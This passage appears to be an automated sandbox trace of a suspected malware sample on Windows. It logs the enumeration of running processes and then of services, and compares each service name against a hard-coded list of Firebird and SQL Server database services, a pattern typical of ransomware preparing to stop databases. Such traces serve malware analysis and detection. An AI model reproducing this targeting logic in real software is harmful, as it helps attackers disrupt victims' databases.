[0141.581] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.582] lstrlenW (lpString="svchost.exe") returned 11 [0141.583] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.584] lstrlenW (lpString="audiodg.exe") returned 11 [0141.584] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0141.585] lstrlenW (lpString="sihost.exe") returned 10 [0141.585] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.586] lstrlenW (lpString="svchost.exe") returned 11 [0141.586] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.587] lstrlenW (lpString="taskhostw.exe") returned 13 [0141.587] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0141.588] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0141.588] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0141.589] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0141.589] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.597] lstrlenW (lpString="explorer.exe") returned 12 [0141.597] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0141.598] lstrlenW (lpString="Memory Compression") returned 18 [0141.598] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0141.599] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0141.599] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0141.600] lstrlenW (lpString="SearchUI.exe") returned 12 [0141.600] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0141.601] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0141.601] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.602] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0141.602] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0141.603] lstrlenW (lpString="UsoClient.exe") returned 13 [0141.603] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0141.604] lstrlenW (lpString="msoia.exe") returned 9 [0141.604] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.605] lstrlenW (lpString="taskhostw.exe") returned 13 [0141.605] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0141.606] lstrlenW (lpString="msoia.exe") returned 9 [0141.606] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0141.607] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0141.607] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0141.608] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0141.608] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0141.609] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0141.609] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0141.610] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0141.610] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0141.611] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0141.611] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0141.612] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0141.612] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0141.613] lstrlenW (lpString="concerned venture.exe") returned 21 [0141.613] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0141.613] lstrlenW (lpString="organizingscsi.exe") returned 18 [0141.614] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0141.614] lstrlenW (lpString="airplane placing.exe") returned 20 [0141.614] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0141.615] lstrlenW (lpString="circus.exe") returned 10 [0141.615] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0141.616] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0141.616] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0141.617] lstrlenW (lpString="das.exe") returned 7 [0141.617] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0141.618] lstrlenW (lpString="beam removable.exe") returned 18 [0141.618] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0141.619] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0141.619] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0141.620] lstrlenW (lpString="dome.exe") returned 8 [0141.620] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0141.621] lstrlenW (lpString="wiresjacket.exe") returned 15 [0141.621] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0141.622] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0141.622] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0141.623] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0141.623] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0141.624] lstrlenW (lpString="tested.exe") returned 10 [0141.625] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0141.626] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0141.626] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0141.627] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0141.627] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0141.628] lstrlenW (lpString="level.exe") returned 9 [0141.628] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0141.629] lstrlenW (lpString="dllhost.exe") returned 11 [0141.629] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.630] lstrlenW (lpString="conhost.exe") returned 11 [0141.630] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.631] lstrlenW (lpString="conhost.exe") returned 11 [0141.631] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.632] lstrlenW (lpString="svchost.exe") returned 11 [0141.632] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0141.633] lstrlenW (lpString="load0.exe") returned 9 [0141.633] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0141.634] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0141.634] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.635] lstrlenW (lpString="conhost.exe") returned 11 [0141.635] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0141.636] lstrlenW (lpString="cmd.exe") returned 7 [0141.636] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.639] lstrlenW (lpString="conhost.exe") returned 11 [0141.639] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.640] lstrlenW (lpString="svchost.exe") returned 11 [0141.640] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0141.641] CloseHandle (hObject=0x1038) returned 1 [0141.642] Sleep (dwMilliseconds=0x1f4) [0142.154] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3668 [0142.154] EnumServicesStatusExW (in: hSCManager=0x5e3668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0142.155] GetLastError () returned 0xea [0142.155] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x64ac08 [0142.155] EnumServicesStatusExW (in: hSCManager=0x5e3668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0142.155] CloseServiceHandle (hSCObject=0x5e3668) returned 1 [0142.156] lstrlenW (lpString="Appinfo") returned 7 [0142.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0142.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0142.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0142.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0142.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0142.156] lstrlenW (lpString="AppXSvc") returned 7 [0142.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0142.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0142.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0142.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0142.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0142.156] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0142.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0142.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0142.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0142.156] lstrlenW (lpString="Audiosrv") returned 8 [0142.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0142.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0142.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0142.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0142.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0142.157] lstrlenW (lpString="BFE") returned 3 [0142.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0142.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0142.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0142.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0142.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0142.157] lstrlenW (lpString="BITS") returned 4 [0142.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0142.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0142.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0142.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0142.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0142.157] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0142.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0142.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0142.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0142.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0142.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0142.157] lstrlenW (lpString="CDPSvc") returned 6 [0142.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0142.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0142.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0142.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0142.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0142.157] lstrlenW (lpString="ClickToRunSvc") returned 13 [0142.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0142.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0142.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0142.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0142.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0142.158] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0142.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0142.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0142.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0142.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0142.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0142.158] lstrlenW (lpString="CryptSvc") returned 8 [0142.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0142.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0142.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0142.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0142.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0142.158] lstrlenW (lpString="DcomLaunch") returned 10 [0142.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0142.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0142.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0142.158] lstrlenW (lpString="DeviceAssociationService") returned 24 [0142.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0142.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0142.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0142.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0142.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0142.158] lstrlenW 